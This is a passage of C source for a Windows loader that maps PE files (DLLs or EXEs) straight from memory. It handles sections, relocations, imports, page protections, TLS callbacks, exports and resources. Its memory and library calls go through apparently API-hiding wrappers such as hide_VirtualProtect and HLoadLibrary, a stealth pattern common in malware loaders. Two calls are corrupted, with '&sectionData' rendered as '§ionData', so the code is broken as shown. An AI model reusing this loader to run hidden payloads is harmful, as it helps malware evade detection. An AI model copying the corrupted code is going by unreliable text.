87 | }
88 |
89 | static inline void *OffsetPointer(void *data, ptrdiff_t offset) {
90 | return (void *)((uintptr_t)data + offset);
91 | }
92 |
93 | static inline void OutputLastError(const char *msg) {
94 | #ifndef DEBUG_OUTPUT
95 | UNREFERENCED_PARAMETER(msg);
96 | #else
97 | LPVOID tmp;
98 | char *tmpmsg;
99 | FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM |
100 | FORMAT_MESSAGE_IGNORE_INSERTS,
101 | NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
102 | (LPTSTR)&tmp, 0, NULL);
103 | tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3);
104 | sprintf(tmpmsg, "%s: %s", msg, tmp);
105 | OutputDebugString(tmpmsg);
106 | LocalFree(tmpmsg);
107 | LocalFree(tmp);
108 | #endif
109 | }
110 |
111 | #ifdef _WIN64
112 | static void FreePointerList(POINTER_LIST *head, CustomFreeFunc freeMemory,
113 | void *userdata) {
114 | POINTER_LIST *node = head;
115 | while (node) {
116 | POINTER_LIST *next;
117 | freeMemory(node->address, 0, MEM_RELEASE, userdata);
118 | next = node->next;
119 | free(node);
120 | node = next;
121 | }
122 | }
123 | #endif
124 |
125 | static BOOL CheckSize(size_t size, size_t expected) {
126 | if (size < expected) {
127 | SetLastError(ERROR_INVALID_DATA);
128 | return FALSE;
129 | }
130 |
131 | return TRUE;
132 | }
133 |
134 | static BOOL CopySections(const unsigned char *data, size_t size,
135 | PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module) {
136 | int i, section_size;
137 | unsigned char *codeBase = module->codeBase;
138 | unsigned char *dest;
139 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
140 | for (i = 0; i < module->headers->FileHeader.NumberOfSections;
141 | i++, section++) {
142 | if (section->SizeOfRawData == 0) {
143 | section_size = old_headers->OptionalHeader.SectionAlignment;
144 | if (section_size > 0) {
145 | dest = (unsigned char *)module->alloc(
146 | codeBase + section->VirtualAddress, section_size, MEM_COMMIT,
147 | PAGE_READWRITE, module->userdata);
148 | if (dest == NULL) {
149 | return FALSE;
150 | }
151 |
152 | dest = codeBase + section->VirtualAddress;
153 |
154 | section->Misc.PhysicalAddress = (DWORD)((uintptr_t)dest & 0xffffffff);
155 | memset(dest, 0, section_size);
156 | }
157 |
158 | continue;
159 | }
160 |
161 | if (!CheckSize(size, section->PointerToRawData + section->SizeOfRawData)) {
162 | return FALSE;
163 | }
164 |
165 | dest = (unsigned char *)module->alloc(codeBase + section->VirtualAddress,
166 | section->SizeOfRawData, MEM_COMMIT,
167 | PAGE_READWRITE, module->userdata);
168 | if (dest == NULL) {
169 | return FALSE;
170 | }
171 |
172 | dest = codeBase + section->VirtualAddress;
173 | memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
174 |
175 | section->Misc.PhysicalAddress = (DWORD)((uintptr_t)dest & 0xffffffff);
176 | }
177 |
178 | return TRUE;
179 | }
180 |
181 | static int ProtectionFlags[2][2][2] = {
182 | {
183 |
184 | {PAGE_NOACCESS, PAGE_WRITECOPY},
185 | {PAGE_READONLY, PAGE_READWRITE},
186 | },
187 | {
188 |
189 | {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
190 | {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},
191 | },
192 | };
193 |
194 | static SIZE_T GetRealSectionSize(PMEMORYMODULE module,
195 | PIMAGE_SECTION_HEADER section) {
196 | DWORD size = section->SizeOfRawData;
197 | if (size == 0) {
198 | if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {
199 | size = module->headers->OptionalHeader.SizeOfInitializedData;
200 | } else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {
201 | size = module->headers->OptionalHeader.SizeOfUninitializedData;
202 | }
203 | }
204 | return (SIZE_T)size;
205 | }
206 |
207 | static BOOL FinalizeSection(PMEMORYMODULE module,
208 | PSECTIONFINALIZEDATA sectionData) {
209 | DWORD protect, oldProtect;
210 | BOOL executable;
211 | BOOL readable;
212 | BOOL writeable;
213 |
214 | if (sectionData->size == 0) {
215 | return TRUE;
216 | }
217 |
218 | if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
219 | if (sectionData->address == sectionData->alignedAddress &&
220 | (sectionData->last ||
221 | module->headers->OptionalHeader.SectionAlignment == module->pageSize ||
222 | (sectionData->size % module->pageSize) == 0)) {
223 | module->free(sectionData->address, sectionData->size, MEM_DECOMMIT,
224 | module->userdata);
225 | }
226 | return TRUE;
227 | }
228 |
229 | executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
230 | readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;
231 | writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;
232 | protect = ProtectionFlags[executable][readable][writeable];
233 | if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
234 | protect |= PAGE_NOCACHE;
235 | }
236 | if (hide_VirtualProtect(sectionData->address, sectionData->size, protect,
237 | &oldProtect) == 0) {
238 | OutputLastError("Error protecting memory page");
239 | return FALSE;
240 | }
241 |
242 | return TRUE;
243 | }
244 |
245 | static BOOL FinalizeSections(PMEMORYMODULE module) {
246 | int i;
247 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
248 | #ifdef _WIN64
249 |
250 | uintptr_t imageOffset =
251 | ((uintptr_t)module->headers->OptionalHeader.ImageBase &
252 | 0xffffffff00000000);
253 | #else
254 | static const uintptr_t imageOffset = 0;
255 | #endif
256 | SECTIONFINALIZEDATA sectionData;
257 | sectionData.address =
258 | (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
259 | sectionData.alignedAddress =
260 | AlignAddressDown(sectionData.address, module->pageSize);
261 | sectionData.size = GetRealSectionSize(module, section);
262 | sectionData.characteristics = section->Characteristics;
263 | sectionData.last = FALSE;
264 | section++;
265 |
266 | for (i = 1; i < module->headers->FileHeader.NumberOfSections;
267 | i++, section++) {
268 | LPVOID sectionAddress =
269 | (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
270 | LPVOID alignedAddress = AlignAddressDown(sectionAddress, module->pageSize);
271 | SIZE_T sectionSize = GetRealSectionSize(module, section);
272 |
273 | if (sectionData.alignedAddress == alignedAddress ||
274 | (uintptr_t)sectionData.address + sectionData.size >
275 | (uintptr_t)alignedAddress) {
276 | if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 ||
277 | (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) {
278 | sectionData.characteristics =
279 | (sectionData.characteristics | section->Characteristics) &
280 | ~IMAGE_SCN_MEM_DISCARDABLE;
281 | } else {
282 | sectionData.characteristics |= section->Characteristics;
283 | }
284 | sectionData.size =
285 | (((uintptr_t)sectionAddress) + ((uintptr_t)sectionSize)) -
286 | (uintptr_t)sectionData.address;
287 | continue;
288 | }
289 |
290 | if (!FinalizeSection(module, §ionData)) {
291 | return FALSE;
292 | }
293 | sectionData.address = sectionAddress;
294 | sectionData.alignedAddress = alignedAddress;
295 | sectionData.size = sectionSize;
296 | sectionData.characteristics = section->Characteristics;
297 | }
298 | sectionData.last = TRUE;
299 | if (!FinalizeSection(module, §ionData)) {
300 | return FALSE;
301 | }
302 | return TRUE;
303 | }
304 |
305 | static BOOL ExecuteTLS(PMEMORYMODULE module) {
306 | unsigned char *codeBase = module->codeBase;
307 | PIMAGE_TLS_DIRECTORY tls;
308 | PIMAGE_TLS_CALLBACK *callback;
309 |
310 | PIMAGE_DATA_DIRECTORY directory =
311 | GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS);
312 | if (directory->VirtualAddress == 0) {
313 | return TRUE;
314 | }
315 |
316 | tls = (PIMAGE_TLS_DIRECTORY)(codeBase + directory->VirtualAddress);
317 | callback = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks;
318 | if (callback) {
319 | while (*callback) {
320 | (*callback)((LPVOID)codeBase, DLL_PROCESS_ATTACH, NULL);
321 | callback++;
322 | }
323 | }
324 | return TRUE;
325 | }
326 |
327 | static BOOL PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta) {
328 | unsigned char *codeBase = module->codeBase;
329 | PIMAGE_BASE_RELOCATION relocation;
330 |
331 | PIMAGE_DATA_DIRECTORY directory =
332 | GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
333 | if (directory->Size == 0) {
334 | return (delta == 0);
335 | }
336 |
337 | relocation = (PIMAGE_BASE_RELOCATION)(codeBase + directory->VirtualAddress);
338 | for (; relocation->VirtualAddress > 0;) {
339 | DWORD i;
340 | unsigned char *dest = codeBase + relocation->VirtualAddress;
341 | unsigned short *relInfo = (unsigned short *)OffsetPointer(
342 | relocation, IMAGE_SIZEOF_BASE_RELOCATION);
343 | for (i = 0;
344 | i < ((relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2);
345 | i++, relInfo++) {
346 | int type = *relInfo >> 12;
347 |
348 | int offset = *relInfo & 0xfff;
349 |
350 | switch (type) {
351 | case IMAGE_REL_BASED_ABSOLUTE:
352 |
353 | break;
354 |
355 | case IMAGE_REL_BASED_HIGHLOW:
356 |
357 | {
358 | DWORD *patchAddrHL = (DWORD *)(dest + offset);
359 | *patchAddrHL += (DWORD)delta;
360 | } break;
361 |
362 | #ifdef _WIN64
363 | case IMAGE_REL_BASED_DIR64: {
364 | ULONGLONG *patchAddr64 = (ULONGLONG *)(dest + offset);
365 | *patchAddr64 += (ULONGLONG)delta;
366 | } break;
367 | #endif
368 |
369 | default:
370 |
371 | break;
372 | }
373 | }
374 |
375 | relocation = (PIMAGE_BASE_RELOCATION)OffsetPointer(relocation,
376 | relocation->SizeOfBlock);
377 | }
378 | return TRUE;
379 | }
380 |
381 | static BOOL BuildImportTable(PMEMORYMODULE module) {
382 | unsigned char *codeBase = module->codeBase;
383 | PIMAGE_IMPORT_DESCRIPTOR importDesc;
384 | BOOL result = TRUE;
385 |
386 | PIMAGE_DATA_DIRECTORY directory =
387 | GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
388 | if (directory->Size == 0) {
389 | return TRUE;
390 | }
391 |
392 | importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase + directory->VirtualAddress);
393 | for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) &&
394 | importDesc->Name;
395 | importDesc++) {
396 | uintptr_t *thunkRef;
397 | FARPROC *funcRef;
398 | HCUSTOMMODULE *tmp;
399 | HCUSTOMMODULE handle = module->loadLibrary(
400 | (LPCSTR)(codeBase + importDesc->Name), module->userdata);
401 | if (handle == NULL) {
402 | SetLastError(ERROR_MOD_NOT_FOUND);
403 | result = FALSE;
404 | break;
405 | }
406 |
407 | tmp = (HCUSTOMMODULE *)realloc(
408 | module->modules, (module->numModules + 1) * (sizeof(HCUSTOMMODULE)));
409 | if (tmp == NULL) {
410 | module->freeLibrary(handle, module->userdata);
411 | SetLastError(ERROR_OUTOFMEMORY);
412 | result = FALSE;
413 | break;
414 | }
415 | module->modules = tmp;
416 |
417 | module->modules[module->numModules++] = handle;
418 | if (importDesc->OriginalFirstThunk) {
419 | thunkRef = (uintptr_t *)(codeBase + importDesc->OriginalFirstThunk);
420 | funcRef = (FARPROC *)(codeBase + importDesc->FirstThunk);
421 | } else {
422 | thunkRef = (uintptr_t *)(codeBase + importDesc->FirstThunk);
423 | funcRef = (FARPROC *)(codeBase + importDesc->FirstThunk);
424 | }
425 | for (; *thunkRef; thunkRef++, funcRef++) {
426 | if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
427 | *funcRef = module->getProcAddress(
428 | handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata);
429 | } else {
430 | PIMAGE_IMPORT_BY_NAME thunkData =
431 | (PIMAGE_IMPORT_BY_NAME)(codeBase + (*thunkRef));
432 | *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name,
433 | module->userdata);
434 | }
435 | if (*funcRef == 0) {
436 | result = FALSE;
437 | break;
438 | }
439 | }
440 |
441 | if (!result) {
442 | module->freeLibrary(handle, module->userdata);
443 | SetLastError(ERROR_PROC_NOT_FOUND);
444 | break;
445 | }
446 | }
447 |
448 | return result;
449 | }
450 |
451 | LPVOID MemoryDefaultAlloc(LPVOID address, SIZE_T size, DWORD allocationType,
452 | DWORD protect, void *userdata) {
453 | UNREFERENCED_PARAMETER(userdata);
454 | return hide_VirtualAlloc(address, size, allocationType, protect);
455 | }
456 |
457 | BOOL MemoryDefaultFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType,
458 | void *userdata) {
459 | UNREFERENCED_PARAMETER(userdata);
460 | return hide_VirtualFree(lpAddress, dwSize, dwFreeType);
461 | }
462 |
463 | HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR filename, void *userdata) {
464 | HMODULE result;
465 | UNREFERENCED_PARAMETER(userdata);
466 | result = HLoadLibrary(filename);
467 | if (result == NULL) {
468 | return NULL;
469 | }
470 |
471 | return (HCUSTOMMODULE)result;
472 | }
473 |
474 | FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE module, LPCSTR name,
475 | void *userdata) {
476 | UNREFERENCED_PARAMETER(userdata);
477 | return (FARPROC)GetProcAddress((HMODULE)module, name);
478 | }
479 |
480 | void MemoryDefaultFreeLibrary(HCUSTOMMODULE module, void *userdata) {
481 | UNREFERENCED_PARAMETER(userdata);
482 | FreeLibrary((HMODULE)module);
483 | }
484 |
485 | HMEMORYMODULE MemoryLoadLibrary(const void *data, size_t size) {
486 | return MemoryLoadLibraryEx(data, size, MemoryDefaultAlloc, MemoryDefaultFree,
487 | MemoryDefaultLoadLibrary,
488 | MemoryDefaultGetProcAddress,
489 | MemoryDefaultFreeLibrary, NULL);
490 | }
491 |
492 | HMEMORYMODULE MemoryLoadLibraryEx(const void *data, size_t size,
493 | CustomAllocFunc allocMemory,
494 | CustomFreeFunc freeMemory,
495 | CustomLoadLibraryFunc loadLibrary,
496 | CustomGetProcAddressFunc getProcAddress,
497 | CustomFreeLibraryFunc freeLibrary,
498 | void *userdata) {
499 | PMEMORYMODULE result = NULL;
500 | PIMAGE_DOS_HEADER dos_header;
501 | PIMAGE_NT_HEADERS old_header;
502 | unsigned char *code, *headers;
503 | ptrdiff_t locationDelta;
504 | SYSTEM_INFO sysInfo;
505 | PIMAGE_SECTION_HEADER section;
506 | DWORD i;
507 | size_t optionalSectionSize;
508 | size_t lastSectionEnd = 0;
509 | size_t alignedImageSize;
510 | #ifdef _WIN64
511 | POINTER_LIST *blockedMemory = NULL;
512 | #endif
513 |
514 | if (!CheckSize(size, sizeof(IMAGE_DOS_HEADER))) {
515 | return NULL;
516 | }
517 | dos_header = (PIMAGE_DOS_HEADER)data;
518 | if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
519 | SetLastError(ERROR_BAD_EXE_FORMAT);
520 | return NULL;
521 | }
522 |
523 | if (!CheckSize(size, dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS))) {
524 | return NULL;
525 | }
526 | old_header = (PIMAGE_NT_HEADERS) &
527 | ((const unsigned char *)(data))[dos_header->e_lfanew];
528 | if (old_header->Signature != IMAGE_NT_SIGNATURE) {
529 | SetLastError(ERROR_BAD_EXE_FORMAT);
530 | return NULL;
531 | }
532 |
533 | if (old_header->FileHeader.Machine != HOST_MACHINE) {
534 | SetLastError(ERROR_BAD_EXE_FORMAT);
535 | return NULL;
536 | }
537 |
538 | if (old_header->OptionalHeader.SectionAlignment & 1) {
539 | SetLastError(ERROR_BAD_EXE_FORMAT);
540 | return NULL;
541 | }
542 |
543 | section = IMAGE_FIRST_SECTION(old_header);
544 | optionalSectionSize = old_header->OptionalHeader.SectionAlignment;
545 | for (i = 0; i < old_header->FileHeader.NumberOfSections; i++, section++) {
546 | size_t endOfSection;
547 | if (section->SizeOfRawData == 0) {
548 | endOfSection = section->VirtualAddress + optionalSectionSize;
549 | } else {
550 | endOfSection = section->VirtualAddress + section->SizeOfRawData;
551 | }
552 |
553 | if (endOfSection > lastSectionEnd) {
554 | lastSectionEnd = endOfSection;
555 | }
556 | }
557 |
558 | GetNativeSystemInfo(&sysInfo);
559 | alignedImageSize =
560 | AlignValueUp(old_header->OptionalHeader.SizeOfImage, sysInfo.dwPageSize);
561 | if (alignedImageSize != AlignValueUp(lastSectionEnd, sysInfo.dwPageSize)) {
562 | SetLastError(ERROR_BAD_EXE_FORMAT);
563 | return NULL;
564 | }
565 |
566 | code = (unsigned char *)allocMemory(
567 | (LPVOID)(old_header->OptionalHeader.ImageBase), alignedImageSize,
568 | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, userdata);
569 |
570 | if (code == NULL) {
571 | code = (unsigned char *)allocMemory(NULL, alignedImageSize,
572 | MEM_RESERVE | MEM_COMMIT,
573 | PAGE_READWRITE, userdata);
574 | if (code == NULL) {
575 | SetLastError(ERROR_OUTOFMEMORY);
576 | return NULL;
577 | }
578 | }
579 |
580 | #ifdef _WIN64
581 |
582 | while ((((uintptr_t)code) >> 32) <
583 | (((uintptr_t)(code + alignedImageSize)) >> 32)) {
584 | POINTER_LIST *node = (POINTER_LIST *)malloc(sizeof(POINTER_LIST));
585 | if (!node) {
586 | freeMemory(code, 0, MEM_RELEASE, userdata);
587 | FreePointerList(blockedMemory, freeMemory, userdata);
588 | SetLastError(ERROR_OUTOFMEMORY);
589 | return NULL;
590 | }
591 |
592 | node->next = blockedMemory;
593 | node->address = code;
594 | blockedMemory = node;
595 |
596 | code = (unsigned char *)allocMemory(NULL, alignedImageSize,
597 | MEM_RESERVE | MEM_COMMIT,
598 | PAGE_READWRITE, userdata);
599 | if (code == NULL) {
600 | FreePointerList(blockedMemory, freeMemory, userdata);
601 | SetLastError(ERROR_OUTOFMEMORY);
602 | return NULL;
603 | }
604 | }
605 | #endif
606 |
607 | result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
608 | sizeof(MEMORYMODULE));
609 | if (result == NULL) {
610 | freeMemory(code, 0, MEM_RELEASE, userdata);
611 | #ifdef _WIN64
612 | FreePointerList(blockedMemory, freeMemory, userdata);
613 | #endif
614 | SetLastError(ERROR_OUTOFMEMORY);
615 | return NULL;
616 | }
617 |
618 | result->codeBase = code;
619 | result->isDLL =
620 | (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;
621 | result->alloc = allocMemory;
622 | result->free = freeMemory;
623 | result->loadLibrary = loadLibrary;
624 | result->getProcAddress = getProcAddress;
625 | result->freeLibrary = freeLibrary;
626 | result->userdata = userdata;
627 | result->pageSize = sysInfo.dwPageSize;
628 | #ifdef _WIN64
629 | result->blockedMemory = blockedMemory;
630 | #endif
631 |
632 | if (!CheckSize(size, old_header->OptionalHeader.SizeOfHeaders)) {
633 | goto error;
634 | }
635 |
636 | headers = (unsigned char *)allocMemory(
637 | code, old_header->OptionalHeader.SizeOfHeaders, MEM_COMMIT,
638 | PAGE_READWRITE, userdata);
639 |
640 | memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders);
641 | result->headers = (PIMAGE_NT_HEADERS) &
642 | ((const unsigned char *)(headers))[dos_header->e_lfanew];
643 |
644 | result->headers->OptionalHeader.ImageBase = (uintptr_t)code;
645 |
646 | if (!CopySections((const unsigned char *)data, size, old_header, result)) {
647 | goto error;
648 | }
649 |
650 | locationDelta = (ptrdiff_t)(result->headers->OptionalHeader.ImageBase -
651 | old_header->OptionalHeader.ImageBase);
652 | if (locationDelta != 0) {
653 | result->isRelocated = PerformBaseRelocation(result, locationDelta);
654 | } else {
655 | result->isRelocated = TRUE;
656 | }
657 |
658 | if (!BuildImportTable(result)) {
659 | goto error;
660 | }
661 |
662 | if (!FinalizeSections(result)) {
663 | goto error;
664 | }
665 |
666 | if (!ExecuteTLS(result)) {
667 | goto error;
668 | }
669 |
670 | if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) {
671 | if (result->isDLL) {
672 | DllEntryProc DllEntry =
673 | (DllEntryProc)(LPVOID)(code + result->headers->OptionalHeader
674 | .AddressOfEntryPoint);
675 |
676 | BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
677 | if (!successfull) {
678 | SetLastError(ERROR_DLL_INIT_FAILED);
679 | goto error;
680 | }
681 | result->initialized = TRUE;
682 | } else {
683 | result->exeEntry =
684 | (ExeEntryProc)(LPVOID)(code + result->headers->OptionalHeader
685 | .AddressOfEntryPoint);
686 | }
687 | } else {
688 | result->exeEntry = NULL;
689 | }
690 |
691 | return (HMEMORYMODULE)result;
692 |
693 | error:
694 |
695 | MemoryFreeLibrary(result);
696 | return NULL;
697 | }
698 |
699 | static int _compare(const void *a, const void *b) {
700 | const struct ExportNameEntry *p1 = (const struct ExportNameEntry *)a;
701 | const struct ExportNameEntry *p2 = (const struct ExportNameEntry *)b;
702 | return strcmp(p1->name, p2->name);
703 | }
704 |
705 | static int _find(const void *a, const void *b) {
706 | LPCSTR *name = (LPCSTR *)a;
707 | const struct ExportNameEntry *p = (const struct ExportNameEntry *)b;
708 | return strcmp(*name, p->name);
709 | }
710 |
711 | FARPROC MemoryGetProcAddress(HMEMORYMODULE mod, LPCSTR name) {
712 | PMEMORYMODULE module = (PMEMORYMODULE)mod;
713 | unsigned char *codeBase = module->codeBase;
714 | DWORD idx = 0;
715 | PIMAGE_EXPORT_DIRECTORY exports;
716 | PIMAGE_DATA_DIRECTORY directory =
717 | GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_EXPORT);
718 | if (directory->Size == 0) {
719 | SetLastError(ERROR_PROC_NOT_FOUND);
720 | return NULL;
721 | }
722 |
723 | exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase + directory->VirtualAddress);
724 | if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) {
725 | SetLastError(ERROR_PROC_NOT_FOUND);
726 | return NULL;
727 | }
728 |
729 | if (HIWORD(name) == 0) {
730 | if (LOWORD(name) < exports->Base) {
731 | SetLastError(ERROR_PROC_NOT_FOUND);
732 | return NULL;
733 | }
734 |
735 | idx = LOWORD(name) - exports->Base;
736 | } else if (!exports->NumberOfNames) {
737 | SetLastError(ERROR_PROC_NOT_FOUND);
738 | return NULL;
739 | } else {
740 | const struct ExportNameEntry *found;
741 |
742 | if (!module->nameExportsTable) {
743 | DWORD i;
744 | DWORD *nameRef = (DWORD *)(codeBase + exports->AddressOfNames);
745 | WORD *ordinal = (WORD *)(codeBase + exports->AddressOfNameOrdinals);
746 | struct ExportNameEntry *entry = (struct ExportNameEntry *)malloc(
747 | exports->NumberOfNames * sizeof(struct ExportNameEntry));
748 | module->nameExportsTable = entry;
749 | if (!entry) {
750 | SetLastError(ERROR_OUTOFMEMORY);
751 | return NULL;
752 | }
753 | for (i = 0; i < exports->NumberOfNames;
754 | i++, nameRef++, ordinal++, entry++) {
755 | entry->name = (const char *)(codeBase + (*nameRef));
756 | entry->idx = *ordinal;
757 | }
758 | qsort(module->nameExportsTable, exports->NumberOfNames,
759 | sizeof(struct ExportNameEntry), _compare);
760 | }
761 |
762 | found = (const struct ExportNameEntry *)bsearch(
763 | &name, module->nameExportsTable, exports->NumberOfNames,
764 | sizeof(struct ExportNameEntry), _find);
765 | if (!found) {
766 | SetLastError(ERROR_PROC_NOT_FOUND);
767 | return NULL;
768 | }
769 |
770 | idx = found->idx;
771 | }
772 |
773 | if (idx > exports->NumberOfFunctions) {
774 | SetLastError(ERROR_PROC_NOT_FOUND);
775 | return NULL;
776 | }
777 |
778 | return (FARPROC)(LPVOID)(codeBase +
779 | (*(DWORD *)(codeBase + exports->AddressOfFunctions +
780 | (idx * 4))));
781 | }
782 |
783 | void MemoryFreeLibrary(HMEMORYMODULE mod) {
784 | PMEMORYMODULE module = (PMEMORYMODULE)mod;
785 |
786 | if (module == NULL) {
787 | return;
788 | }
789 | if (module->initialized) {
790 | DllEntryProc DllEntry =
791 | (DllEntryProc)(LPVOID)(module->codeBase +
792 | module->headers->OptionalHeader
793 | .AddressOfEntryPoint);
794 | (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
795 | }
796 |
797 | free(module->nameExportsTable);
798 | if (module->modules != NULL) {
799 | int i;
800 | for (i = 0; i < module->numModules; i++) {
801 | if (module->modules[i] != NULL) {
802 | module->freeLibrary(module->modules[i], module->userdata);
803 | }
804 | }
805 |
806 | free(module->modules);
807 | }
808 |
809 | if (module->codeBase != NULL) {
810 | module->free(module->codeBase, 0, MEM_RELEASE, module->userdata);
811 | }
812 |
813 | #ifdef _WIN64
814 | FreePointerList(module->blockedMemory, module->free, module->userdata);
815 | #endif
816 | HeapFree(GetProcessHeap(), 0, module);
817 | }
818 |
819 | int MemoryCallEntryPoint(HMEMORYMODULE mod) {
820 | PMEMORYMODULE module = (PMEMORYMODULE)mod;
821 |
822 | if (module == NULL || module->isDLL || module->exeEntry == NULL ||
823 | !module->isRelocated) {
824 | return -1;
825 | }
826 |
827 | return module->exeEntry();
828 | }
829 |
830 | #define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
831 |
832 | HMEMORYRSRC MemoryFindResource(HMEMORYMODULE module, LPCTSTR name,
833 | LPCTSTR type) {
834 | return MemoryFindResourceEx(module, name, type, DEFAULT_LANGUAGE);
835 | }
836 |
837 | static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry(
838 | void *root, PIMAGE_RESOURCE_DIRECTORY resources, LPCTSTR key) {
839 | PIMAGE_RESOURCE_DIRECTORY_ENTRY entries =
840 | (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(resources + 1);
841 | PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL;
842 | DWORD start;
843 | DWORD end;
844 | DWORD middle;
845 |
846 | if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) {
847 | TCHAR *endpos = NULL;
848 | long int tmpkey = (WORD)_tcstol((TCHAR *)&key[1], &endpos, 10);
849 | if (tmpkey <= 0xffff && lstrlen(endpos) == 0) {
850 | key = MAKEINTRESOURCE(tmpkey);
851 | }
852 | }
853 |
854 | if (IS_INTRESOURCE(key)) {
855 | WORD check = (WORD)(uintptr_t)key;
856 | start = resources->NumberOfNamedEntries;
857 | end = start + resources->NumberOfIdEntries;
858 |
859 | while (end > start) {
860 | WORD entryName;
861 | middle = (start + end) >> 1;
862 | entryName = (WORD)entries[middle].Name;
863 | if (check < entryName) {
864 | end = (end != middle ? middle : middle - 1);
865 | } else if (check > entryName) {
866 | start = (start != middle ? middle : middle + 1);
867 | } else {
868 | result = &entries[middle];
869 | break;
870 | }
871 | }
872 | } else {
873 | LPCWSTR searchKey;
874 | size_t searchKeyLen = _tcslen(key);
875 | #if defined(UNICODE)
876 | searchKey = key;
877 | #else
878 |
879 | #define MAX_LOCAL_KEY_LENGTH 2048
880 |
881 | wchar_t _searchKeySpace[MAX_LOCAL_KEY_LENGTH + 1];
882 | LPWSTR _searchKey;
883 | if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) {
884 | size_t _searchKeySize = (searchKeyLen + 1) * sizeof(wchar_t);
885 | _searchKey = (LPWSTR)malloc(_searchKeySize);
886 | if (_searchKey == NULL) {
887 | SetLastError(ERROR_OUTOFMEMORY);
888 | return NULL;
889 | }
890 | } else {
891 | _searchKey = &_searchKeySpace[0];
892 | }
893 |
894 | mbstowcs(_searchKey, key, searchKeyLen);
895 | _searchKey[searchKeyLen] = 0;
896 | searchKey = _searchKey;
897 | #endif
898 | start = 0;
899 | end = resources->NumberOfNamedEntries;
900 | while (end > start) {
901 | int cmp;
902 | PIMAGE_RESOURCE_DIR_STRING_U resourceString;
903 | middle = (start + end) >> 1;
904 | resourceString = (PIMAGE_RESOURCE_DIR_STRING_U)OffsetPointer(
905 | root, entries[middle].Name & 0x7FFFFFFF);
906 | cmp = _wcsnicmp(searchKey, resourceString->NameString,
907 | resourceString->Length);
908 | if (cmp == 0) {
909 | if (searchKeyLen > resourceString->Length) {
910 | cmp = 1;
911 | } else if (searchKeyLen < resourceString->Length) {
912 | cmp = -1;
913 | }
914 | }
915 | if (cmp < 0) {
916 | end = (middle != end ? middle : middle - 1);
917 | } else if (cmp > 0) {
918 | start = (middle != start ? middle : middle + 1);
919 | } else {
920 | result = &entries[middle];
921 | break;
922 | }
923 | }
924 | #if !defined(UNICODE)
925 | if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) {
926 | free(_searchKey);
927 | }
928 | #undef MAX_LOCAL_KEY_LENGTH
929 | #endif
930 | }
931 |
932 | return result;
933 | }
934 |
935 | HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE module, LPCTSTR name,
936 | LPCTSTR type, WORD language) {
937 | unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
938 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(
939 | (PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_RESOURCE);
940 | PIMAGE_RESOURCE_DIRECTORY rootResources;
941 | PIMAGE_RESOURCE_DIRECTORY nameResources;
942 | PIMAGE_RESOURCE_DIRECTORY typeResources;
943 | PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType;
944 | PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName;
